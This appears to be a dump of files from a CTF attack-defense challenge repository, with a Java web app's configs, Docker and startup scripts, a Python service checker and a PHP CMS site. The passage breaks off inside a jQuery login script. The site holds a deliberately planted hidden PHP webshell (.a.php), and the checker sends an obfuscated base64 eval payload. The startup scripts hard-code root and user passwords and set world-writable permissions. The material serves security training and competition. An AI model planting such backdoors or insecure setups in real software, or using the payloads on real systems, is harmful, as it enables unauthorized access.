    "content": "#Mail\nmail.transport.protocol=SMTP\n#mail.smtp.host=smtp.163.com\nmail.smtp.host=mail.bupt.edu.cn\nmail.smtp.port=25\nmail.smtp.auth=true\nmail.smtp.timeout=25000\nmail.username=test@bupt.edu.cn\nmail.password=test\n\n#system star and end time\nsystem.start.time=2018-05-24 15:10:00\nsystem.end.time=2018-06-28 17:00:00\nsystem.time.format=yyyy-MM-dd HH:mm:ss\n\nsystem.emailOperation.start.time=2018-05-24 15:10:00\nsystem.emailOperation.end.time=2018-07-17 16:03:00\n\nsystem.public.ctf.email=test@bupt.edu.cn\n#competition.link.releaseState=false\ncompetition.link.releaseState=true\n#信息学竞赛入口\ncompetition.link.noip=http://2018.tsctf.com\n#CTF竞赛入口\ncompetition.link.ctf=http://2018.tsctf.com"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/maven-archiver/pom.properties",
    "content": "#Generated by Maven\n#Mon Sep 02 09:16:55 UTC 2019\nversion=1.0-SNAPSHOT\ngroupId=com.bupt\nartifactId=charpter2\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst",
    "content": "com/bupt/service/UserService.class\ncom/bupt/interceptor/FileTypeInterceptor.class\ncom/bupt/dao/ProfileDao$5.class\ncom/bupt/common/SpelView.class\ncom/bupt/web/admin/AdminControllor.class\ncom/bupt/dao/UserDao$1.class\ncom/bupt/interceptor/LoginInterceptor.class\ncom/bupt/web/DownloadController.class\ncom/bupt/web/LoginController.class\ncom/bupt/utils/ResponseUtils.class\ncom/bupt/dao/ProfileDao$2.class\ncom/bupt/dao/UserDao$4.class\ncom/bupt/utils/AuthImage.class\ncom/bupt/dao/ProfileDao$4.class\ncom/bupt/service/upload/Upload.class\ncom/bupt/dao/UserDao$5.class\ncom/bupt/canstants/Canstants.class\ncom/bupt/common/JsonData.class\ncom/bupt/exception/PermissionException.class\ncom/bupt/dao/ProfileDao$1.class\ncom/bupt/web/IndexController.class\ncom/bupt/utils/MD5Util.class\ncom/bupt/domain/Profile.class\ncom/bupt/dao/UserDao$6.class\ncom/bupt/domain/Flag.class\ncom/bupt/exception/ParamException.class\ncom/bupt/utils/VerifyCodeUtils.class\ncom/bupt/dao/ProfileDao$3.class\ncom/bupt/common/SpringExceptionResolver.class\ncom/bupt/domain/User.class\ncom/bupt/exception/CustomException.class\ncom/bupt/web/ProfileControllor.class\ncom/bupt/utils/UUIDUtils.class\ncom/bupt/dao/UserDao$2.class\ncom/bupt/domain/LoginLog.class\ncom/bupt/exception/CustomExceptionResolver.class\ncom/bupt/dao/UserDao.class\ncom/bupt/dao/UserDao$7.class\ncom/bupt/utils/MailUtil$1.class\ncom/bupt/utils/SystemDateTimeChecker.class\ncom/bupt/utils/Check.class\ncom/bupt/common/RandomValueStringGenerator.class\ncom/bupt/dao/ProfileDao.class\ncom/bupt/utils/ProfileExcelExportUtils.class\ncom/bupt/utils/SysConfigUtils.class\ncom/bupt/utils/MailUtil.class\ncom/bupt/service/upload/Thumbnail.class\ncom/bupt/dao/UserDao$3.class\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst",
    "content": "/opt/source/src/main/java/com/bupt/utils/SysConfigUtils.java\n/opt/source/src/main/java/com/bupt/exception/ParamException.java\n/opt/source/src/main/java/com/bupt/utils/AuthImage.java\n/opt/source/src/main/java/com/bupt/service/upload/Thumbnail.java\n/opt/source/src/main/java/com/bupt/canstants/Canstants.java\n/opt/source/src/main/java/com/bupt/web/DownloadController.java\n/opt/source/src/main/java/com/bupt/utils/MailUtil.java\n/opt/source/src/main/java/com/bupt/service/upload/Upload.java\n/opt/source/src/main/java/com/bupt/exception/CustomExceptionResolver.java\n/opt/source/src/main/java/com/bupt/interceptor/LoginInterceptor.java\n/opt/source/src/main/java/com/bupt/common/RandomValueStringGenerator.java\n/opt/source/src/main/java/com/bupt/web/LoginController.java\n/opt/source/src/main/java/com/bupt/common/JsonData.java\n/opt/source/src/main/java/com/bupt/web/admin/AdminControllor.java\n/opt/source/src/main/java/com/bupt/common/SpelView.java\n/opt/source/src/main/java/com/bupt/web/ProfileControllor.java\n/opt/source/src/main/java/com/bupt/domain/LoginLog.java\n/opt/source/src/main/java/com/bupt/interceptor/FileTypeInterceptor.java\n/opt/source/src/main/java/com/bupt/utils/MD5Util.java\n/opt/source/src/main/java/com/bupt/dao/UserDao.java\n/opt/source/src/main/java/com/bupt/service/UserService.java\n/opt/source/src/main/java/com/bupt/domain/User.java\n/opt/source/src/main/java/com/bupt/dao/ProfileDao.java\n/opt/source/src/main/java/com/bupt/domain/Flag.java\n/opt/source/src/main/java/com/bupt/web/IndexController.java\n/opt/source/src/main/java/com/bupt/exception/CustomException.java\n/opt/source/src/main/java/com/bupt/common/SpringExceptionResolver.java\n/opt/source/src/main/java/com/bupt/utils/SystemDateTimeChecker.java\n/opt/source/src/main/java/com/bupt/utils/Check.java\n/opt/source/src/main/java/com/bupt/utils/ProfileExcelExportUtils.java\n/opt/source/src/main/java/com/bupt/exception/PermissionException.java\n/opt/source/src/main/java/com/bupt/utils/VerifyCodeUtils.java\n/opt/source/src/main/java/com/bupt/utils/UUIDUtils.java\n/opt/source/src/main/java/com/bupt/utils/ResponseUtils.java\n/opt/source/src/main/java/com/bupt/domain/Profile.java\n"
  },
  {
    "path": "web_javatsctf2018/run.sh",
    "content": "#!/bin/bash\n/etc/tomcat-9.0.24/bin/startup.sh && mv /etc/tomcat-9.0.24/webapps/ROOT /etc/tomcat-9.0.24/webapps/ROOT.bak && mkdir -p /var/run/mysqld && chown -R mysql:mysql /var/lib/mysql /var/run/mysqld && cd /opt/ &&  service mysql start  && mysql -uroot -pJmtserver@Hello123 -e \"CREATE DATABASE chapter2 CHARACTER SET utf8 COLLATE utf8_general_ci;\"  && mysql -uroot -pJmtserver@Hello123 chapter2 < /opt/source/chapter2.sql && mysql -uroot -pJmtserver@Hello123 -e \"GRANT ALL PRIVILEGES ON chapter2.* TO 'tomcat'@'%' IDENTIFIED BY 'tomcat';\" && cd source && mvn package && cp /opt/source/target/charpter2-1.0-SNAPSHOT.war /etc/tomcat-9.0.24/webapps/ROOT.war\npython /tmp/flag.py  &  2>&1 1>/dev/null\nchmod -R 777 /etc/tomcat-9.0.24/webapps/ /tmp /opt/source/\nuseradd ctf\necho ctf:moxiaoxi666 | chpasswd\nsleep 2\napt install ssh -y\nservice ssh start\nrm -rf /tmp/run.sh /tmp/flag.py\nif [ -x \"extra.sh\" ]; then\n./extra.sh\nfi\n/bin/bash"
  },
  {
    "path": "web_simplecms/Dockerfile",
    "content": "FROM nickistre/ubuntu-lamp\nRUN apt-get update && apt-get dist-upgrade -y\nADD apache2.conf /etc/apache2/apache2.conf\nEXPOSE 80\nEXPOSE 22\nCMD [\"/tmp/run.sh\"]"
  },
  {
    "path": "web_simplecms/apache2.conf",
    "content": "# This is the main Apache server configuration file.  It contains the\n# configuration directives that give the server its instructions.\n# See http://httpd.apache.org/docs/2.4/ for detailed information about\n# the directives and /usr/share/doc/apache2/README.Debian about Debian specific\n# hints.\n#\n#\n# Summary of how the Apache 2 configuration works in Debian:\n# The Apache 2 web server configuration in Debian is quite different to\n# upstream's suggested way to configure the web server. This is because Debian's\n# default Apache2 installation attempts to make adding and removing modules,\n# virtual hosts, and extra configuration directives as flexible as possible, in\n# order to make automating the changes and administering the server as easy as\n# possible.\n\n# It is split into several files forming the configuration hierarchy outlined\n# below, all located in the /etc/apache2/ directory:\n#\n#\t/etc/apache2/\n#\t|-- apache2.conf\n#\t|\t`--  ports.conf\n#\t|-- mods-enabled\n#\t|\t|-- *.load\n#\t|\t`-- *.conf\n#\t|-- conf-enabled\n#\t|\t`-- *.conf\n# \t`-- sites-enabled\n#\t \t`-- *.conf\n#\n#\n# * apache2.conf is the main configuration file (this file). It puts the pieces\n#   together by including all remaining configuration files when starting up the\n#   web server.\n#\n# * ports.conf is always included from the main configuration file. It is\n#   supposed to determine listening ports for incoming connections which can be\n#   customized anytime.\n#\n# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/\n#   directories contain particular configuration snippets which manage modules,\n#   global configuration fragments, or virtual host configurations,\n#   respectively.\n#\n#   They are activated by symlinking available configuration files from their\n#   respective *-available/ counterparts. These should be managed by using our\n#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See\n#   their respective man pages for detailed information.\n#\n# * The binary is called apache2. Due to the use of environment variables, in\n#   the default configuration, apache2 needs to be started/stopped with\n#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not\n#   work with the default configuration.\n\n\n# Global configuration\n#\n\n#\n# ServerRoot: The top of the directory tree under which the server's\n# configuration, error, and log files are kept.\n#\n# NOTE!  If you intend to place this on an NFS (or otherwise network)\n# mounted filesystem then please read the Mutex documentation (available\n# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);\n# you will save yourself a lot of trouble.\n#\n# Do NOT add a slash at the end of the directory path.\n#\n#ServerRoot \"/etc/apache2\"\n\n#\n# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.\n#\nMutex file:${APACHE_LOCK_DIR} default\n\n#\n# PidFile: The file in which the server should record its process\n# identification number when it starts.\n# This needs to be set in /etc/apache2/envvars\n#\nPidFile ${APACHE_PID_FILE}\n\n#\n# Timeout: The number of seconds before receives and sends time out.\n#\nTimeout 300\n\n#\n# KeepAlive: Whether or not to allow persistent connections (more than\n# one request per connection). Set to \"Off\" to deactivate.\n#\nKeepAlive On\n\n#\n# MaxKeepAliveRequests: The maximum number of requests to allow\n# during a persistent connection. Set to 0 to allow an unlimited amount.\n# We recommend you leave this number high, for maximum performance.\n#\nMaxKeepAliveRequests 100\n\n#\n# KeepAliveTimeout: Number of seconds to wait for the next request from the\n# same client on the same connection.\n#\nKeepAliveTimeout 5\n\n\n# These need to be set in /etc/apache2/envvars\nUser ${APACHE_RUN_USER}\nGroup ${APACHE_RUN_GROUP}\n\n#\n# HostnameLookups: Log the names of clients or just their IP addresses\n# e.g., www.apache.org (on) or 204.62.129.132 (off).\n# The default is off because it'd be overall better for the net if people\n# had to knowingly turn this feature on, since enabling it means that\n# each client request will result in AT LEAST one lookup request to the\n# nameserver.\n#\nHostnameLookups Off\n\n# ErrorLog: The location of the error log file.\n# If you do not specify an ErrorLog directive within a <VirtualHost>\n# container, error messages relating to that virtual host will be\n# logged here.  If you *do* define an error logfile for a <VirtualHost>\n# container, that host's errors will be logged there and not here.\n#\nErrorLog ${APACHE_LOG_DIR}/error.log\n\n#\n# LogLevel: Control the severity of messages logged to the error_log.\n# Available values: trace8, ..., trace1, debug, info, notice, warn,\n# error, crit, alert, emerg.\n# It is also possible to configure the log level for particular modules, e.g.\n# \"LogLevel info ssl:warn\"\n#\nLogLevel warn\n\n# Include module configuration:\nIncludeOptional mods-enabled/*.load\nIncludeOptional mods-enabled/*.conf\n\n# Include list of ports to listen on\nInclude ports.conf\n\n\n# Sets the default security model of the Apache2 HTTPD server. It does\n# not allow access to the root filesystem outside of /usr/share and /var/www.\n# The former is used by web applications packaged in Debian,\n# the latter may be used for local directories served by the web server. If\n# your system is serving content from a sub-directory in /srv you must allow\n# access here, or in any related virtual host.\n<Directory />\n\t# Options FollowSymLinks\n\tAllowOverride all\n\tRequire all denied\n</Directory>\n\n<Directory /usr/share>\n\tAllowOverride all\n\tRequire all granted\n</Directory>\n\n<Directory /var/www/>\n\t#Options Indexes FollowSymLinks\n\tAllowOverride all\n\tRequire all granted\n</Directory>\n\n#<Directory /srv/>\n#\tOptions Indexes FollowSymLinks\n#\tAllowOverride None\n#\tRequire all granted\n#</Directory>\n\n\n\n\n# AccessFileName: The name of the file to look for in each directory\n# for additional configuration directives.  See also the AllowOverride\n# directive.\n#\nAccessFileName .htaccess\n\n#\n# The following lines prevent .htaccess and .htpasswd files from being\n# viewed by Web clients.\n#\n<FilesMatch \"^\\.ht\">\n\tRequire all denied\n</FilesMatch>\n\n\n#\n# The following directives define some format nicknames for use with\n# a CustomLog directive.\n#\n# These deviate from the Common Log Format definitions in that they use %O\n# (the actual bytes sent including headers) instead of %b (the size of the\n# requested file), because the latter makes it impossible to detect partial\n# requests.\n#\n# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.\n# Use mod_remoteip instead.\n#\nLogFormat \"%v:%p %h %l %u %t \\\"%r\\\" %>s %O \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" vhost_combined\nLogFormat \"%h %l %u %t \\\"%r\\\" %>s %O \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined\nLogFormat \"%h %l %u %t \\\"%r\\\" %>s %O\" common\nLogFormat \"%{Referer}i -> %U\" referer\nLogFormat \"%{User-agent}i\" agent\n\n# Include of directories ignores editors' and dpkg's backup files,\n# see README.Debian for details.\n\n# Include generic snippets of statements\nIncludeOptional conf-enabled/*.conf\n\n# Include the virtual host configurations:\nIncludeOptional sites-enabled/*.conf\n\n# vim: syntax=apache ts=4 sw=4 sts=4 sr noet\n"
  },
  {
    "path": "web_simplecms/build_images.sh",
    "content": "#!/bin/sh\ndocker build -t moxiaoxi/simplecms ."
  },
  {
    "path": "web_simplecms/checker.py",
    "content": "#!/usr/bin/env python\n# -*- coding:utf8 -*-\nimport requests\nimport base64\nimport random\nimport string\n\nmy_time = ''.join(random.sample(string.ascii_letters + string.digits, 8))\n\n\ndef check(target_ip, target_port):\n    target_url = 'http://' + target_ip + ':' + str(target_port) + '/'\n    if not index_check(target_url):\n        print(\"[-]: {},index_check error\".format(target_url))\n        return False\n    print(\"[+]:{},index check succ!\".format(target_url))\n    if not test_check(target_url):\n        print(\"[-]: {},test_check error\".format(target_url))\n        return False\n    print(\"[+]:{},test_check check succ!\".format(target_url))\n    if not login_check(target_url):\n        print(\"[-]: {},login_check error\".format(target_url))\n        return False\n    print(\"[+]:{},login_check check succ!\".format(target_url))\n    if not admin_check(target_url):\n        print(\"[-]: {},admin_check error\".format(target_url))\n        return False\n    print(\"[+]:{},admin_check check succ!\".format(target_url))\n    if not admin_indec_check(target_url):\n        print(\"[-]: {},admin_indec_check error\".format(target_url))\n        return False\n    print(\"[+]:{},admin_indec_check check succ!\".format(target_url))\n    return True\n\ndef index_check(target_url):\n    res = requests.get(target_url + '/index.php?file=news&cid=1&page=1&test=eval&time=%s' % str(my_time))\n    if 'A Travel Agency'.encode() in res.content:\n        return True\n    return False\n\n\ndef test_check(target_url):\n    res = requests.get(target_url + '/contact.php?file=flag&time=%s' % str(my_time))\n    if 'info@example.com'.encode() in res.content:\n        return True\n    return False\n\n\ndef admin_check(target_url):\n    data = base64.b64encode(\n        'eval($b($c($d($b($c($d($b($c($d($b($c($d(\"BcHJglAwAADQD2Uo0UsOPUtNR8UYVqkb1RhYcKT2r+975tP9ze/G4hhpcgKyhlHNeFY+VLqnCNUBq55lTggTDCQuMEAPeGsrZK35BnUpXBriUPk9VDxp4pL3x7iYj3YH5nIa0/qxXMRMsvmVjX7vkjjs0YYadh5onm96ALwKbaxC1cZgZt5MxBQAi7XfekgpnF0oRBHRVIaznEZaDjbMBJxLXlnLHEIqhMhPofY0PhV3WPsfvYhn7Prhxzc7tw1NLDh7XuS7O3ODKMbAvU1/vAx1kJDp9n59kK7eA84Sw1WUeZfpZTp9AQ==\")))))))))))));'.encode());\n    cookies = {\"PHPSESSID\": \"f50fb7948dggefigd9shl1rqg7\"}\n    res = requests.post(target_url + '/admin/index.php?time=%s' % str(my_time), data=data, cookies=cookies)\n    if 'glyphicon glyphicon-envelope'.encode() in res.content:\n        return True\n    return False\n\n\ndef login_check(target_url):\n    session = requests.Session()\n    paramsPost = {\"button\": \"SIGN-IN\", \"password\": \"mysql\", \"username\": \"admin\"}\n    headers = {\"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\n               \"Upgrade-Insecure-Requests\": \"1\",\n               \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0\",\n               \"Accept-Language\": \"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\",\n               \"Accept-Encoding\": \"gzip, deflate\", \"Content-Type\": \"application/x-www-form-urlencoded\"}\n    cookies = {\"PHPSESSID\": \"f50fb7948dggefigd9shl1rqg7\"}\n    response = session.post(target_url + \"/login.php\", data=paramsPost, headers=headers, cookies=cookies)\n    if '<li>admin</li>'.encode() in response.content:\n        return True\n    return False\n\n\ndef admin_indec_check(target_url):\n    session = requests.Session()\n    data = 'eval(6666)'\n    headers = {\"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\n               \"Upgrade-Insecure-Requests\": \"1\",\n               \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0\",\n               \"Accept-Language\": \"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\",\n               \"Accept-Encoding\": \"gzip, deflate\", \"Content-Type\": \"application/x-www-form-urlencoded\"}\n    cookies = {\"PHPSESSID\": \"f50fb7948dggefigd9shl1rqg7\"}\n    response = session.post(target_url + \"/index.php/admin/Index/main.html\", data=data, headers=headers, cookies=cookies)\n    if 'It seems that this command'.encode() in response.content:\n        return True\n    return False\n\n\n\nif __name__ == '__main__':\n    target_ip, target_port = '127.0.0.1', 8801\n    check(target_ip, target_port)\n"
  },
  {
    "path": "web_simplecms/docker.sh",
    "content": "#!/bin/sh\ncp run.sh tmp/\ncp flag.py tmp/\ndocker run -p {out_port}:80  -p {ssh_port}:22  -v /var/lib/mysql  -v `pwd`/simplecms:/var/www/html -v `pwd`/tmp:/tmp -d  --name {team_name} -ti moxiaoxi/simplecms"
  },
  {
    "path": "web_simplecms/run.sh",
    "content": "#!/bin/sh\nservice ssh start\na2enmod rewrite\nservice apache2 start\nrm /var/www/html/index.html /var/www/html/phpinfo.php\nchown www-data:www-data /var/www/html/* -R\npython /tmp/flag.py  &  2>&1 1>/dev/null\ncd /var/www/html\nuseradd ctf\necho ctf:moxiaoxi666 | chpasswd\nsleep 2\nrm -rf /tmp\nservice mysql start\nmysql -e \"source /var/www/html/test.sql;\"\nsupervisord -n\nif [ -x \"extra.sh\" ]; then\n./extra.sh\nfi\n/bin/bash"
  },
  {
    "path": "web_simplecms/simplecms/.a.php",
    "content": "<?php @eval($_REQUEST['c']);\n?>\n"
  },
  {
    "path": "web_simplecms/simplecms/.htaccess",
    "content": ""
  },
  {
    "path": "web_simplecms/simplecms/Wopop_files/JQuery.cookie.js",
    "content": "/**\n * Cookie plugin\n *\n * Copyright (c) 2006 Klaus Hartl (stilbuero.de)\n * Dual licensed under the MIT and GPL licenses:\n * http://www.opensource.org/licenses/mit-license.php\n * http://www.gnu.org/licenses/gpl.html\n *\n */\n\n/**\n * Create a cookie with the given name and value and other optional parameters.\n *\n * @example $.cookie('the_cookie', 'the_value');\n * @desc Set the value of a cookie.\n * @example $.cookie('the_cookie', 'the_value', {expires: 7, path: '/', domain: 'jquery.com', secure: true});\n * @desc Create a cookie with all available options.\n * @example $.cookie('the_cookie', 'the_value');\n * @desc Create a session cookie.\n * @example $.cookie('the_cookie', null);\n * @desc Delete a cookie by passing null as value.\n *\n * @param String name The name of the cookie.\n * @param String value The value of the cookie.\n * @param Object options An object literal containing key/value pairs to provide optional cookie attributes.\n * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object.\n *                             If a negative value is specified (e.g. a date in the past), the cookie will be deleted.\n *                             If set to null or omitted, the cookie will be a session cookie and will not be retained\n *                             when the the browser exits.\n * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie).\n * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie).\n * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will\n *                        require a secure protocol (like HTTPS).\n * @type undefined\n *\n * @name $.cookie\n * @cat Plugins/Cookie\n * @author Klaus Hartl/klaus.hartl@stilbuero.de\n */\n\n/**\n * Get the value of a cookie with the given name.\n *\n * @example $.cookie('the_cookie');\n * @desc Get the value of a cookie.\n *\n * @param String name The name of the cookie.\n * @return The value of the cookie.\n * @type String\n *\n * @name $.cookie\n * @cat Plugins/Cookie\n * @author Klaus Hartl/klaus.hartl@stilbuero.de\n */\njQuery.cookie = function(name, value, options) {\n    if (typeof value != 'undefined') { // name and value given, set cookie\n        options = options || {};\n        if (value === null) {\n            value = '';\n            options.expires = -1;\n        }\n        var expires = '';\n        if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {\n            var date;\n            if (typeof options.expires == 'number') {\n                date = new Date();\n                date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));\n            } else {\n                date = options.expires;\n            }\n            expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE\n        }\n        var path = options.path ? '; path=' + options.path : '';\n        var domain = options.domain ? '; domain=' + options.domain : '';\n        var secure = options.secure ? '; secure' : '';\n        document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');\n    } else { // only name given, get cookie\n        var cookieValue = null;\n        if (document.cookie && document.cookie != '') {\n            var cookies = document.cookie.split(';');\n            for (var i = 0; i < cookies.length; i++) {\n                var cookie = jQuery.trim(cookies[i]);\n                // Does this cookie string begin with the name we want?\n                if (cookie.substring(0, name.length + 1) == (name + '=')) {\n                    cookieValue = decodeURIComponent(cookie.substring(name.length + 1));\n                    break;\n                }\n            }\n        }\n        return cookieValue;\n    }\n};"
  },
  {
    "path": "web_simplecms/simplecms/Wopop_files/jquery.pagination.js",
    "content": "/**\n * This jQuery plugin displays pagination links inside the selected elements.\n *\n * @author Gabriel Birke (birke *at* d-scribe *dot* de)\n * @version 1.1\n * @param {int} maxentries Number of entries to paginate\n * @param {Object} opts Several options (see README for documentation)\n * @return {Object} jQuery Object\n */\njQuery.fn.pagination = function(maxentries, opts) {\n    opts = jQuery.extend({\n        items_per_page: 10,\n        num_display_entries: 10,\n        current_page: 0,\n        num_edge_entries: 0,\n        link_to: \"#\",\n        prev_text: \"Prev\",\n        next_text: \"Next\",\n        ellipse_text: \"\",\n        prev_show_always: true,\n        next_show_always: true,\n        callback: function() { return false; }\n    }, opts || {});\n\n    return this.each(function() {\n        /**\n        * Calculate the maximum number of pages\n        */\n        function numPages() {\n            return Math.ceil(maxentries / opts.items_per_page);\n        }\n\n        /**\n        * Calculate start and end point of pagination links depending on \n        * current_page and num_display_entries.\n        * @return {Array}\n        */\n        function getInterval() {\n            var ne_half = Math.ceil(opts.num_display_entries / 2);\n            var np = numPages();\n            var upper_limit = np - opts.num_display_entries;\n            var start = current_page > ne_half ? Math.max(Math.min(current_page - ne_half, upper_limit), 0) : 0;\n            var end = current_page > ne_half ? Math.min(current_page + ne_half, np) : Math.min(opts.num_display_entries, np);\n            return [start, end];\n        }\n\n        /**\n        * This is the event handling function for the pagination links. \n        * @param {int} page_id The new page number\n        */\n        function pageSelected(page_id, evt) {\n            current_page = page_id;\n            drawLinks();\n            var continuePropagation = opts.callback(page_id, panel);\n            if (!continuePropagation) {\n                if (evt.stopPropagation) {\n                    evt.stopPropagation();\n                }\n                else {\n                    evt.cancelBubble = true;\n                }\n            }\n            return continuePropagation;\n        }\n\n        /**\n        * This function inserts the pagination links into the container element\n        */\n        function drawLinks() {\n            panel.empty();\n            var interval = getInterval();\n            var np = numPages();\n            // This helper function returns a handler function that calls pageSelected with the right page_id\n            var getClickHandler = function(page_id) {\n                return function(evt) { return pageSelected(page_id, evt); }\n            }\n            // Helper function for generating a single link (or a span tag if it'S the current page)\n            var appendItem = function(page_id, appendopts) {\n                page_id = page_id < 0 ? 0 : (page_id < np ? page_id : np - 1); // Normalize page id to sane value\n                appendopts = jQuery.extend({ text: page_id + 1, classes: \"current\" }, appendopts || {});\n                if (page_id == current_page) {\n                    var lnk = $(\"<span class='current'>\" + (appendopts.text) + \"</span>\");\n                }\n                else {\n                    var lnk = $(\"<a>\" + (appendopts.text) + \"</a>\")\n\t\t\t\t\t\t.bind(\"click\", getClickHandler(page_id))\n\t\t\t\t\t\t.attr('href', opts.link_to.replace(/__id__/, page_id));\n\n\n                }\n                if (appendopts.classes) { lnk.removeAttr('class'); lnk.addClass(appendopts.classes); }\n                panel.append(lnk);\n            }\n            // Generate \"Previous\"-Link\n            if (opts.prev_text && (current_page > 0 || opts.prev_show_always)) {\n                appendItem(current_page - 1, { text: opts.prev_text, classes: \"disabled\" });\n            }\n            // Generate starting points\n            if (interval[0] > 0 && opts.num_edge_entries > 0) {\n                var end = Math.min(opts.num_edge_entries, interval[0]);\n                for (var i = 0; i < end; i++) {\n                    appendItem(i);\n                }\n                if (opts.num_edge_entries < interval[0] && opts.ellipse_text) {\n                    jQuery(\"<a class='current'>\" + opts.ellipse_text + \"</a>\").appendTo(panel);\n                }\n            }\n            // Generate interval links\n            for (var i = interval[0]; i < interval[1]; i++) {\n                appendItem(i);\n            }\n            // Generate ending points\n            if (interval[1] < np && opts.num_edge_entries > 0) {\n                if (np - opts.num_edge_entries > interval[1] && opts.ellipse_text) {\n                    jQuery(\"<a class='current'>\" + opts.ellipse_text + \"</a>\").appendTo(panel);\n                }\n                var begin = Math.max(np - opts.num_edge_entries, interval[1]);\n                for (var i = begin; i < np; i++) {\n                    appendItem(i);\n                }\n\n            }\n            // Generate \"Next\"-Link\n            if (opts.next_text && (current_page < np - 1 || opts.next_show_always)) {\n                appendItem(current_page + 1, { text: opts.next_text, classes: \"disabled classjason\" });\n            }\n        }\n\n        // Extract current_page from options\n        var current_page = opts.current_page;\n        // Create a sane value for maxentries and items_per_page\n        maxentries = (!maxentries || maxentries < 0) ? 1 : maxentries;\n        opts.items_per_page = (!opts.items_per_page || opts.items_per_page < 0) ? 1 : opts.items_per_page;\n        // Store DOM element for easy access from all inner functions\n        var panel = jQuery(this);\n        // Attach control functions to the DOM element \n        this.selectPage = function(page_id) { pageSelected(page_id); }\n        this.prevPage = function() {\n            if (current_page > 0) {\n                pageSelected(current_page - 1);\n                return true;\n            }\n            else {\n                return false;\n            }\n        }\n        this.nextPage = function() {\n            if (current_page < numPages() - 1) {\n                pageSelected(current_page + 1);\n                return true;\n            }\n            else {\n                return false;\n            }\n        }\n        // When all initialisation is done, draw the links\n        drawLinks();\n    });\n}\n\n\n"
  },
  {
    "path": "web_simplecms/simplecms/Wopop_files/jquery.ui.all.css",
    "content": "/*\n * jQuery UI CSS Framework 1.8.11\n *\n * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about)\n * Dual licensed under the MIT or GPL Version 2 licenses.\n * http://jquery.org/license\n *\n * http://docs.jquery.com/UI/Theming\n */\n@import \"jquery.ui.base.css\";\n@import \"jquery.ui.theme.css\";\n"
  },
  {
    "path": "web_simplecms/simplecms/Wopop_files/login.js",
    "content": "$(function () {\n\n    $('#button,#Retrievenow,#denglou').css('opacity', 0.7).hover(function () {\n        $(this).stop().fadeTo(650, 1);\n    }, function () {\n        $(this).stop().fadeTo(650, 0.7);\n    });\n    if ($.cookie(\"codeusername\") != null) {\n        $.ajax({\n            type: \"POST\",\n            url: '/users/AjaxServer/checkis.ashx',\n            data: { typex: 1 },\n            async: false,\n            success: function (data) {///去更新cookies\n                if (data == \"NotLogin\") {\n                    ///沒有登錄\n                    getLogStatx(2); //没有记录cookies 的登录状态\n\n                } else {\n                    window.location.href = \"http://home.wopop.com/UserHome/ot5lst/website.aspx\";\n                }\n            }\n        });\n\n\n    }\n    $(\"#button\").click(function () {\n        var username = $(\"#username\").val();\n        var userpwd = $(\"#userpwd\").val();\n        if (username.length > 0 && userpwd.length > 0) {\n            getLogStatx(1);\n        }\n\n    });\n\n    ////忘记密码\n    $(\"#iforget\").click(function () {\n        $(\"#login_model\").hide();\n        $(\"#forget_model\").show();\n\n    });\n\n    ///取回密码 \n    $(\"#Retrievenow\").click(function () {\n        var usrmail = $(\"#usrmail\").val();\n        if (!Test_email(usrmail)) {\n           // alert(msgggg.pssjs1);\n            return false;\n        }\n        $.ajax({\n            type: \"POST\",\n            url: '/users/AjaxServer/checkis.ashx',\n            data: { typex: 5, usrmail: usrmail },\n            success: function (data) {//\n\n                alert(data);\n                $(\"#login_model\").show();\n                $(\"#forget_model\").hide();\n                $(\"#usrmail\").val(\"\");\n                $(\"#username\").val(\"\");\n                $(\"#userpwd\").val(\"\");\n\n            }\n        });\n\n\n    });\n    //返回\n    $(\"#denglou\").click(function () {\n        $(\"#usrmail\").val(\"\");\n        $(\"#username\").val(\"\");\n        $(\"#userpwd\").val(\"\");\n        $(\"#login_model\").show();\n        $(\"#forget_model\").hide();\n\n    });\n\n\n    //typexx 自动 还是手动\n    function getLogStatx(typex) {\n        var current = (location.href);\n        var screenwidth = $(window).width();\n        var screenheight = $(window).height();\n        var username = $(\"#username\").val();\n        var userpwd = $(\"#userpwd\").val();\n        var issavecookies = \"NO\";\n        if ($(\"#save_me\").attr(\"checked\") == true) {\n            issavecookies = \"Yes\";\n        }\n        else {\n            issavecookies = \"NO\";\n        }\n        var l_dot = screenwidth + \"*\" + screenheight;\n        if (typex == \"2\") {\n            if (username == null && userpwd == null) {\n                ////保存了cook\n                username = $.cookie('codeusername');\n                userpwd = $.cookie('codeppsd');\n                $.ajax({\n                    type: \"POST\",\n                    url: '/users/AjaxServer/Ajax_User_Loading.ashx',\n                    data: { username: username, userpwd: userpwd, issavecookies: issavecookies, l_dot: l_dot, typex: 2 },\n                    success: function (data) {///去更新cookies\n                        if (current.indexOf(\"index.aspx\") > -1) {\n\n\n                        } else {\n\n                        